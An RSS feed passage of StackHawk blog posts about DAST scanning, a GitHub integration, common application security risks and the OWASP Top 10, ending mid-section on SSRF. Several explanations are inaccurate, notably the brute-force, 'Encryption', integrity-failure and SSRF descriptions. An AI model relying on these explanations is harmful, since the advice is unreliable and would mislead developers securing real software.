file descriptor set in cases where reflection isn&amp;#39;t enabled. Both methods allow HawkScan to create tests based on available gRPC endpoints.&lt;/p&gt;&lt;h4&gt;SOAP Web Service WSDL Support&lt;/h4&gt;&lt;p&gt;HawkScan extends its capabilities to support SOAP Web Services, leveraging the Web Services Description Language (WSDL). This enables HawkScan to interface accurately with SOAP-based services used in many legacy applications. By parsing the WSDL file, HawkScan can identify the operations, inputs, and outputs defined for the SOAP service. By doing this, StackHawk can ensure that vulnerabilities specific to SOAP implementations, such as XML injection or SOAP action overloading, are effectively identified and addressed.&lt;/p&gt;&lt;h3&gt;The Scan Itself&lt;/h3&gt;&lt;p&gt;As the discovery process uncovers each path within the application, the scan of the application itself begins. The scan runs asynchronously and as more paths are added to the tree, scans are executed against them to check for vulnerabilities.&lt;/p&gt;&lt;p&gt;The scan itself is quite simple to explain; HawkScan will attempt to identify vulnerabilities by probing for known vulnerabilities against your running application. Vulnerabilities that will be detected by HawkScan can include instances of SQL Injection, Cross-Site Scripting, and Proxy Disclosure. HawkScan will print the scan details to the console as it runs. This will let users know how the scan is progressing, what HawkScan is working on, and potential vulnerabilities the scan uncovers. At the same time, the scanner also streams data to the StackHawk platform, so you can watch your scan status online in real-time.&lt;/p&gt;&lt;h4&gt;Tuning the Scan&lt;/h4&gt;&lt;p&gt;Developers can fully customize a scan by using different flags in the command used to initiate the scan. Using flags and config tweaks to customize the scan allows StackHawk to run even faster. Much faster. &lt;/p&gt;&lt;p&gt;Tuning can include configuring HawkScan to authenticate to your app, introspecting and scanning GraphQL, reading your app’s OpenAPI specification, and other settings to help StackHawk run quickly and in a more targeted fashion. &lt;/p&gt;&lt;p&gt;You can also use StackHawk Technology Flags to tell HawkScan which technologies your application uses, such as Java, Javascript, and MySQL. This will ensure that StackHawk only runs the applicable tests for the specific technologies used in your application. The scan can run faster without sacrificing effectiveness by excluding tests that do not apply to your technology stack or applications. &lt;/p&gt;&lt;h3&gt;Reviewing Findings and Potential Fixes&lt;/h3&gt;&lt;p&gt;Once all of the application paths are discovered and scanned for vulnerabilities, users can come to the StackHawk platform to review the findings. The StackHawk platform offers a place for users to review the scan results, and possible fixes, as well as a place to manage each of the findings. Unlike products that find vulnerabilities and leave the developer to find possible solutions, StackHawk gives meaningful insight into potential fixes and shows developers how to resolve the issue right within the platform.&lt;/p&gt;&lt;p&gt;Let’s take a look at a few features within the StackHawk Platform that help teams to create more secure applications and prioritize their security needs.&lt;/p&gt;&lt;h4&gt;Findings Management&lt;/h4&gt;&lt;p&gt;Once security defects and vulnerabilities have been found in your code, StackHawk allows you to classify each of the findings as &lt;b&gt;False Positive&lt;/b&gt;, &lt;b&gt;Risk Accepted&lt;/b&gt;, or &lt;b&gt;Send to Jira/Assigned&lt;/b&gt;. This can be extremely useful since it gives flexibility to teams to decide which findings are important to fix as soon as possible and which ones can be moved to a later date or sprint.&lt;/p&gt;&lt;h4&gt;Using cURL for Easy Debugging and Fixes&lt;/h4&gt;&lt;p&gt;Part of StackHawk’s mission is to make security more accessible to engineers. As part of this initiative, being able to recreate the bug or vulnerability in your application is of highly important. Sometimes, this can be complex, forcing users to recreate a command or call an API that they are unfamiliar with.  Even worse, they may not know how to correct the command to create the exact condition needed to expose the vulnerability in the code. &lt;/p&gt;&lt;p&gt;StackHawk allows users to generate a cURL command with the correct HTTP verb, headers, and data fields to recreate the potential attack. By running this curl command and running the application in debug mode in your IDE, you can step through the requests to identify where the issue lies within your code. With this, developers can quickly fix the vulnerability and ensure their application is secure.
&lt;/p&gt;&lt;h2&gt;Using StackHawk with a SAST Platform&lt;/h2&gt;&lt;p&gt;On top of the DAST capabilities of StackHawk, some users may also want to integrate with SAST platforms, such as Snyk or GitHub. Using a SAST platform alongside StackHawk will allow findings to be linked between the SAST tool and the entry in StackHawk. Engineers can use both platforms to ensure that their code is secure from all angles.&lt;/p&gt;&lt;p&gt;The SAST platform scans through the code statically, looking for patterns which may denote a potential vulnerability. These findings could indicate that the code does in fact contain a security defect. The vulnerability can then also be validated with a StackHawk HawkScan. Correlating the two scan result helps to show that issues are exploitable and accessible (via StackHawk) and where the issue lies in the code (via the SAST platform). Combining these findings helps prioritize issues for developers and enables them to confirm, reproduce, and fix them quickly and efficiently.&lt;/p&gt;&lt;h2&gt;Using StackHawk to Secure APIs&lt;/h2&gt;&lt;p&gt;As the use of APIs continues to explode, they are becoming a more popular attack vector that developers should be aware of and actively defend against. Users of DAST may only think of it in terms of testing a web application versus applying it to their suite of APIs. With StackHawk, APIs are front and center of the DAST experience. As mentioned in the sections above, StackHawk can quickly determine your API endpoints by uploading an Open API Specification or, if using GraphQL, an introspection endpoint, for example. On top of REST and GraphQL support, StackHawk also supports testing SOAP and gRPC APIs.&lt;/p&gt;&lt;p&gt;When StackHawk tests an API, the endpoint is put through its paces with a meticulous set of tests to expose any vulnerabilities it may reveal. StackHawk allows users to dial in their particular API setup so that tests can be tailored and customized on top of the platform&amp;#39;s default set of tests. When a vulnerability is detected, users can see the result in a report which contains the request, response, and any evidence that a vulnerability exists. On top of this, developers are also supplied with fix guides to show developers how to remedy the exploit quickly.&lt;/p&gt;&lt;h2&gt;Try it out!&lt;/h2&gt;&lt;p&gt;Now that you have an idea of how StackHawk works and the advantage it can bring to your application security, &lt;a href=&quot;http://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up today&lt;/u&gt;&lt;/a&gt; to try it out for yourself. Whether you’re looking to bring DAST to your Traditional Web App, Single Page Application, or even your APIs, StackHawk is the most efficient way for engineers to bring security scans directly into your organization&amp;#39;s CI/CD pipeline. Make API and application security a default priority in your team&amp;#39;s development lifecycle.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk + GitHub: A Saga in Shift-Left Security]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-github-a-saga-in-shift-left-security</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Brandon Ward]]></dc:creator><content:encoded>&lt;p&gt;With all the requirements of modern development, few may be as important as ensuring the security of your application is maintained. Keeping the state of your application’s security visible and up-to-date should be one of the highest priorities for your engineering team.&lt;/p&gt;&lt;p&gt;To aid with this, StackHawk provides an &lt;a href=&quot;https://github.com/apps/stackhawk&quot;&gt;&lt;u&gt;Official GitHub App&lt;/u&gt;&lt;/a&gt; capable of doing just that! With a small amount of configuration, you will be able to receive commit statuses and pull request comments that immediately inform you about the state of your application security.&lt;/p&gt;&lt;h2&gt;To the Left&lt;/h2&gt;&lt;p&gt;Part of the shift-left mindset is to leverage tools and processes that can provide critical information sooner in the development lifecycle. By correlating the evolution of source code with the results of your dynamic application security testing (DAST), the hope is to find issues sooner and to make them more visible in primary development workflows.&lt;/p&gt;&lt;p&gt;Commit statuses provide you greater peace of mind in knowing that your HawkScan has completed, so that you can be alerted quickly if your application scans detect vulnerabilities or happen to break from new code changes. Detailed results are never too far away either, as there is a link straight to the StackHawk platform with the full scan details on each commit status.&lt;/p&gt;&lt;p&gt;Pull request comments include high-level summaries of found application vulnerabilities in context with the code changes, so an increase in vulnerabilities can be seen immediately in the pull request and can be squashed before ever making it to the main development branch.&lt;/p&gt;&lt;p&gt;By committing to communicate important information as early as possible in your development process, your team is equipped to make decisions and execute on the facts faster than ever before. The ultimate goal is to empower engineers to iterate faster, confident that they are upholding the security requirements of the application.&lt;/p&gt;&lt;h2&gt;Putting it in Action&lt;/h2&gt;&lt;p&gt;StackHawk is a dynamic application security testing tool (DAST), meaning HawkScan tests the running application and not the source code. Therefore, linking to the source code requires a little help.&lt;/p&gt;&lt;p&gt;Because we encourage HawkScan usage as part of your CI/CD pipeline, it isn’t a stretch for us to assume that you are incrementally scanning new commits and branches all the time. By leveraging the assumption that scans are running in a CI/CD pipeline, we are able to provide a few configuration options that allow your pipeline to explain how this scan maps back to your source code’s history.&lt;/p&gt;&lt;p&gt;To enable this feature, you will need to have the StackHawk GitHub App installed, with GitHub repositories connected to StackHawk applications for all repositories that you want to enable commit statuses and PR comments for.&lt;/p&gt;&lt;p&gt;Then, you’ll need to adjust this configuration snippet for your `stackhawk.yml` and CI/CD provider, so that your CI/CD pipeline can explicitly tell StackHawk where this scan belongs in your Git history.&lt;/p&gt;&lt;p&gt;&lt;code&gt;```yml
tags:
  - name: _STACKHAWK_GIT_COMMIT_SHA
    value: ${YOUR_CICD_PROVIDED_ENV_VAR_SHA:}
  - name: _STACKHAWK_GIT_BRANCH
    value: ${YOUR_CICD_PROVIDED_ENV_VAR_BRANCH:}
```&lt;/code&gt;&lt;/p&gt;&lt;p&gt;After specifying these tags, your next successful scan on a pull request will include a high-level overview of any DAST findings.&lt;/p&gt;&lt;p&gt;
For a complete how-to, check out the &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/github-app/github-pr-checks.html&quot;&gt;&lt;u&gt;official documentation&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;👀 See it in Action&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/7vees5nyss?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;That’s a Wrap&lt;/h2&gt;&lt;p&gt;With the modern era of software development, security is everyone’s responsibility, but that does not make it any easier. In fact, it’s harder than ever before.&lt;/p&gt;&lt;p&gt;The best thing we can do to keep our applications safe is equip our processes with the tools to provide us the details we need to make the most informed decisions that we can. Choosing tools that enable us to automatically and quickly gather the right information, and use them to their fullest potential is one of our most important responsibilities.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security Risks: 4 Types and How to Fix Them]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-risks-4-types-and-how-to-fix-them</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;If an app has a vulnerability that could allow an attacker to access a user&amp;#39;s data, it could put them at risk of identity theft or data loss. As the security industry continues to grow, more people realize the importance of application testing.&lt;/p&gt;&lt;p&gt;Over the past few years, many have referred to application security as a cybersecurity issue. It usually refers to issues such as malicious software and phishing attacks. However, one of the most critical applications is in software development.&lt;/p&gt;&lt;p&gt;There are a lot of misunderstandings about what security testing is and how it can be done. This article aims to explain four different application security risks and how you can address them.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Application security is a set of techniques, policies, and technologies that ensure applications&amp;#39; confidentiality, authenticity, integrity, and availability.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;What Is Application Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Application security is a set of techniques, policies, and technologies that ensure applications&amp;#39; confidentiality, authenticity, integrity, and availability. It also protects against fraud and malicious manipulation. You may have heard that app security is a ticking time bomb—and it&amp;#39;s true!&lt;/p&gt;&lt;p&gt;But software developers can take care of these four types of application security risks:&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Injection flaws&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Logic and design flaws&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Authentication and authorization flaws&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Exposure of sensitive information&lt;/b&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Injection Flaws&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Injection flaws are where a hacker could inject malicious code into an application. The hacker accomplishes this by exploiting security vulnerabilities in the web browser or tampering with the input data passed to an application.&lt;/p&gt;&lt;p&gt;The most common exploit is SQL injection. Most security checks are done through the user-entered data as SQL statements (SELECT, UPDATE, REPLACE and INSERT). If a hacker can control the data, they might manipulate the database. The second form of injection exists in web services. This happens when an attacker sends a malicious XML document to an Axis2 service endpoint and causes it to execute arbitrary code or disclose information from or to another system or user they are not authorized to access.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Logic and Design Flaws&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A design or logic flaw is an error that allows an attacker to access or control an application&amp;#39;s functionality. An attacker can perform unauthorized actions or access sensitive data by exploiting these flaws.&lt;/p&gt;&lt;p&gt;The most common design and logic flaw is the insecure direct object reference. This vulnerability allows an attacker to access an object&amp;#39;s data if they can change its reference. For instance, if an attacker changes the URL of a file, they can access its sensitive information.&lt;/p&gt;&lt;p&gt;Another common design and logic flaw is the insecure storage of cryptographic keys. An attacker can exploit this vulnerability to access the stored keys in an insecure location. For instance, if an attacker has access to the keys, they can decrypt or alter the data of an authorized user. They can perform unauthorized actions, access sensitive data, or bypass security controls. Organizations should regularly test and adopt secure design principles in their applications to minimize the risk of these flaws.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Authentication and Authorization Flaws&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Authentication gives you access to a resource after you provide the correct credentials, while authorization grants you access to a resource depending on your permission levels. Now, a flaw means you are not limiting access to sensitive data based on any logic. For example, an application with sensitive data (bank accounts, home addresses) should contain strong authentication mechanisms like multifactor authentication.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Exposure of Sensitive Information&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Unauthorized disclosure of information may occur through a buffer overflow vulnerability when an attacker submits a carefully constructed but malicious data request that overrides memory locations used to store sensitive information (such as cookie values). Data loss also occurs when an attacker gains access via a network or security breach and can send malicious requests with unintended codes.&lt;/p&gt;&lt;p&gt;Buffer overflows are often combined with injection vulnerabilities to gain control of resources (such as creating new threads) or execute commands without authorization. Most languages and all major frameworks contain some built-in protection against buffer overflows, but they can exist in any programming language. Some methods of protection may require protocol changes.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Can I Fix My Application Security Risks?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Some say that willful security risks are not a problem. But even if you employ all the best possible safeguards and build a bullet-proof application, it&amp;#39;s still possible to make errors. So, how do you defend against this type of risk? Here are five things to do to eliminate these types of errors.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A robust authentication mechanism can provide them with an additional layer of security by requiring a second factor, such as a code from a hardware token.&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;&lt;b&gt;1. Use Strong Authentication Mechanisms&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;One of the most important factors that organizations should consider when implementing strong authentication is ensuring that their applications are secure. A robust authentication mechanism can provide them with an additional layer of security by requiring a second factor, such as a code from a hardware token. This type of security can make it harder for an attacker to access their app. Even if an attacker can access an app using a username and password, they still could not login without having the second factor.&lt;/p&gt;&lt;p&gt;Various types of strong authentication mechanisms can be used for your app, and they all have their own level of security to help protect it from attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Use Secure Coding Principles and Design Patterns&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Secure coding techniques can eliminate a wide variety of application security risks. One typical example is to make sure that every time the app receives user input, it must be validated first. If this is not done, an attacker could insert malicious software or keyboard data that would allow their code to run.&lt;/p&gt;&lt;p&gt;In addition, to protect against a brute force attack, the app should have multiple passwords that are required for logging in.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Be sure to &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;test&lt;/u&gt;&lt;/a&gt; your code at every stage, not just during your first release into production. This prevents attackers from discovering your insecure parts through debugging or testing for other vulnerabilities in managed applications. It also makes it easier to identify errors when you update your code later. Failing to test all parts of your code can cause a wide variety of security vulnerabilities.&lt;/p&gt;&lt;p&gt;1. Broken or poorly coded interfaces&lt;/p&gt;&lt;p&gt;2. Unsecure authentication and session management, such as cookies and storage (to hold user IDs and encrypted passwords, for example)&lt;/p&gt;&lt;p&gt;3. Insufficient encryption for sensitive data&lt;/p&gt;&lt;p&gt;4. Weakly protected password systems&lt;/p&gt;&lt;p&gt;5. Insufficient authorization checks on sensitive data&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Perform Penetration Testing and Vulnerability Assessment&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This allows you to spot insecure parts of your application, test their operations under attack conditions, and fix them. Penetration testing is an effective way to identify new vulnerabilities while your app is in development. It offers some assurance that the app will work as expected once you release it to the public.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. Encryption&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;It&amp;#39;s also important to use covered input fields, especially those that multiple users can reuse. This will make it much more difficult for attackers to succeed in their attacks because they will have to ensure that each input field does not get reused by another user. It may take some time for an attacker to find new inputs, but since most injection flaws are common and easy to overlook, this safeguard is critical.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Every day, hackers exploit vulnerabilities in applications to steal data or hack networks. And every day, application developers are scrambling to plug these security gaps before they trap their users with an application they can’t use. But there’s hope: a diversity of automated tools like &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; allow developers to easily identify potential application flaws and work around them by optimizing the code.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Mercy Kibet. &lt;/i&gt;&lt;a href=&quot;https://hashnode.com/@eiMJay&quot;&gt;&lt;i&gt;&lt;u&gt;Mercy&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-stack developer with a knack for learning and writing about new and intriguing tech stacks.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API Security: OWASP's Top 10 Vulnerabilities Explained]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-security-owasps-top-10-vulnerabilities-explained</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Every organization of any size has a security policy that outlines what developers should do to ensure their applications are safe. If a company has good API security policies, this can go a long way in protecting user data and/or stopping attacks from outside sources. For example, using tokens to authenticate users protects against brute force attacks.&lt;/p&gt;&lt;p&gt;This post explains API security and OWASP Top 10 vulnerabilities. This list defines what we think are the biggest risks in web applications today and serves as a starting point for building secure applications and encouraging secure coding practices. The post will also give suggestions on how you can mitigate each risk.&lt;/p&gt;&lt;p&gt;Before we cover OWASP&amp;#39;s top 10 vulnerabilities, let&amp;#39;s first understand what API security is.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is API Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/solutions/api-security-testing/&quot;&gt;&lt;u&gt;API security&lt;/u&gt;&lt;/a&gt; is the implementation of security controls between our back ends and their respective consumers to prevent unauthorized access to data, systems, or accounts.&lt;/p&gt;&lt;p&gt;There are specific components that constitute API security:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Authentication: This is the process through which users provide proof of identity before being granted access to specific resources.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Authorization: This is how you grant users access to specific resources via authentication. You check authorization during every interaction between a user and your service.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Session management: We identify a user&amp;#39;s session by associating it with their request. This can include cookies, devices, IP addresses, and other identifiers.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;The Open Web Application Security Project (&lt;a href=&quot;https://owasp.org/&quot;&gt;&lt;u&gt;OWASP&lt;/u&gt;&lt;/a&gt;) is a nonprofit organization committed to improving software security.&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;&lt;b&gt;What Is OWASP?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The Open Web Application Security Project (&lt;a href=&quot;https://owasp.org/&quot;&gt;&lt;u&gt;OWASP&lt;/u&gt;&lt;/a&gt;) is a nonprofit organization committed to improving software security. OWASP&amp;#39;s goal is to increase awareness of software security—thus helping individuals and organizations make informed decisions about true software security risks.&lt;/p&gt;&lt;p&gt;The OWASP definition of API security is &amp;quot;the protection of APIs from unauthorized access, use, or modification.&amp;quot;&lt;/p&gt;&lt;p&gt;Although API security is important, it is not foolproof. There are many ways for attackers to bypass security measures and access data or API functionality. &lt;/p&gt;&lt;p&gt;Now let&amp;#39;s look at the top 10 vulnerabilities as listed by OWASP.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;OWASP&amp;#39;s Top 10 Vulnerabilities Explained&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;OWASP has identified various security vulnerabilities affecting a company&amp;#39;s web applications. OWASP released its list of the top vulnerabilities that need to be addressed to better understand developers&amp;#39; daily problems. The list of vulnerabilities is based on the contributions of security professionals and businesses.&lt;/p&gt;&lt;p&gt;The 10 critical areas from OWASP&amp;#39;s 2021 list where most problems stem from are as follows:&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Broken access control&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Cryptographic failures&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Injection attacks and command injection attacks&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Insecure design&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;5. Security misconfiguration&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;6. Vulnerable and outdated components&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;7. Identification and authentication failures&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;8. Software and data integrity failures&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;9. Security logging and monitoring failures&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;10. Server-side request forgery&lt;/b&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;1. Broken Access Control&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;This vulnerability allows attackers to get information or perform actions restricted to specific users. There are several ways in which this can happen.&lt;/p&gt;&lt;p&gt;One example of broken access control is when an application doesn&amp;#39;t properly restrict access to sensitive data. For example, given an API endpoint&lt;b&gt; api/address/user/user_id &lt;/b&gt;that lists user addresses based on their &lt;b&gt;user_ids&lt;/b&gt;, then anyone with access to that data can view or modify it (i.e., by trying different &lt;b&gt;user_ids&lt;/b&gt; especially if the IDs were auto-incremented).&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Don&amp;#39;t allow your API users to &amp;quot;guess&amp;quot; the authentication mechanism you&amp;#39;re using. Avoid hardcoded tokens, secrets, and keys. Try to use something more secure such as &lt;a href=&quot;https://auth0.com/intro-to-iam/what-is-oauth-2/&quot;&gt;&lt;u&gt;OAuth 2.0&lt;/u&gt;&lt;/a&gt; tokens and cookies with credentials encrypted (hashed).&lt;/p&gt;&lt;p&gt;Use role-based authorization—this way, you can manage which users have access to which functionality and ensure no third-party application can access your system.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;2. Cryptographic Failures&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Cryptography vulnerability occurs when your application fails to properly use cryptographic functions such as hashing, encryption, and digital signatures (public key or symmetric). This common mistake allows hackers to perform many attacks, such as spoofing.&lt;/p&gt;&lt;p&gt;Spoofing is the first step attackers take when they get access to your system. They&amp;#39;ll create a domain and then try to capture the user&amp;#39;s authentication credentials. If they succeed, they&amp;#39;ll try to do the same thing in other applications that use the same mechanism.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Use proper cryptography. Ideally, use a public key infrastructure (PKI) and ensure you have a certificate for each user. This will solve the problem of spoofing because if the domain is trusted, the user won&amp;#39;t accept any certificate presented by someone else.&lt;/p&gt;&lt;p&gt;Don&amp;#39;t store sensitive data in clear text. If you need to get data from one system to another, use an XMLHttpRequest (or, even better, HttpWebRequest), encrypt it, and then send it via HTTPS.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;3. Injection Attacks and Command Injection Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;These attacks are about running malicious code through unexpected input methods (e.g., overloading a variable with external input) or entering malicious code into a legitimate website. These types of attacks are the most common in web applications. They could cause data theft or session hijacking, leading to impersonation or privilege escalation attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;1. Limit input through allowlisting where applicable.&lt;/p&gt;&lt;p&gt;2. Use output encoding techniques for untrusted data.&lt;/p&gt;&lt;p&gt;3. Enable parametrized queries for databases.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;4. Insecure Design&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;This is an area where developers aren&amp;#39;t incorporating application security into their system&amp;#39;s design, or it isn&amp;#39;t done correctly when they do. When designing a new framework, you should always strive to integrate security throughout your application as much as possible. Otherwise, you&amp;#39;ll repeat yourself throughout your app&amp;#39;s design and maintenance phases.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;1. Have security-critical functions as methods on the class that handles them rather than inside controllers.&lt;/p&gt;&lt;p&gt;2. Never give more data to a third-party company than you have access to; have policies in place for dealing with it if you do.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;This vulnerability involves the improper configuration of security mechanisms that can be publicly accessible or even of an internal network that could cause unauthorized access to sensitive data.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;5. Security Misconfiguration&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;This vulnerability involves the improper configuration of security mechanisms that can be publicly accessible or even of an internal network that could cause unauthorized access to sensitive data. This could include setting up a firewall incorrectly, allowing hackers to enter and cause harm from within the firewall itself.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;1. Correctly configure all security mechanisms.&lt;/p&gt;&lt;p&gt;2. Check for and fix any weak or missing security mechanisms.&lt;/p&gt;&lt;p&gt;3. Review the configuration of applicable libraries to ensure good design practices.&lt;/p&gt;&lt;p&gt;4. Ensure that you set up your firewalls correctly according to the policies you set for your application.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;6. Vulnerable and Outdated Components&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;This area includes the use of vulnerable components, such as those that have known security weaknesses. In addition, an out-of-date component can lead to a higher risk of attack since it might not be up to date with security patches. When relying on third-party software or components, you can&amp;#39;t control their internal structures. But you can ensure you update them according to the latest updates, making your application less risky.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;1. Update all components according to their release dates.&lt;/p&gt;&lt;p&gt;2. Upgrade all components every six months or as security patches are released.&lt;/p&gt;&lt;p&gt;3. Test the components in your system to ensure they are secure before you install them in production.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;7. Identification and Authentication Failures&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We relate this vulnerability to failure to authenticate users or access credentials properly. It could include password weaknesses, weak session identifiers, weak session tokens, replay attacks, or weak passwords used for authentication.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;1. Use sessions that are not vulnerable to replay attacks.&lt;/p&gt;&lt;p&gt;2. Use strong session identifiers.&lt;/p&gt;&lt;p&gt;3. Use authentication tokens for web apps.&lt;/p&gt;&lt;p&gt;4. Ensure that cookies aren&amp;#39;t vulnerable to injection attacks (e.g., do not set unsafe values or sensitive information in cookies themselves).&lt;/p&gt;&lt;h2&gt;&lt;b&gt;8. Software and Data Integrity Failures&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;This area involves software vulnerabilities like buffer overflow attacks, memory corruption problems, and data integrity issues, such as weak checksums or lack of digital signatures and hashing algorithms that can be easily exploited—even by a casual hacker who is interested in your data but performing no actual &amp;quot;hacking.&amp;quot;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;1. Ensure that the code uses secure checksums to detect and prevent tampering.&lt;/p&gt;&lt;p&gt;2. Verify integrity checks are being performed.&lt;/p&gt;&lt;p&gt;3. Enable encryption of sensitive data to protect it from prying eyes.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;9. Security Logging and Monitoring Failures&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;This vulnerability is about failing to include security logs in your application or not monitoring them—thus causing a lack of historical data that could help figure out how an attack/exploit happened. Logging provides critical information to the developers and security experts who can work on recreating the events that caused such damage from a policy or technical perspective.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;1. Enable security logging in your application and monitor it regularly.&lt;/p&gt;&lt;p&gt;2. Ensure the logs include data vital to the system&amp;#39;s integrity.&lt;/p&gt;&lt;p&gt;3. Use log correlation tools to correlate events across distributed applications or components.&lt;/p&gt;&lt;p&gt;4. If debugging is required, ensure you&amp;#39;re not compromising privacy information in the logs themselves.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;This could cause unauthorized actions by attackers after they have a victim click on a malicious link or submit a web form.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;10. Server-Side Request Forgery&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;This area has two problems: The first is the failure to implement a secure request forgery response. And the second is not using a secure HTTP protocol when sending requests among systems. This could cause unauthorized actions by attackers after they have a victim click on a malicious link or submit a web 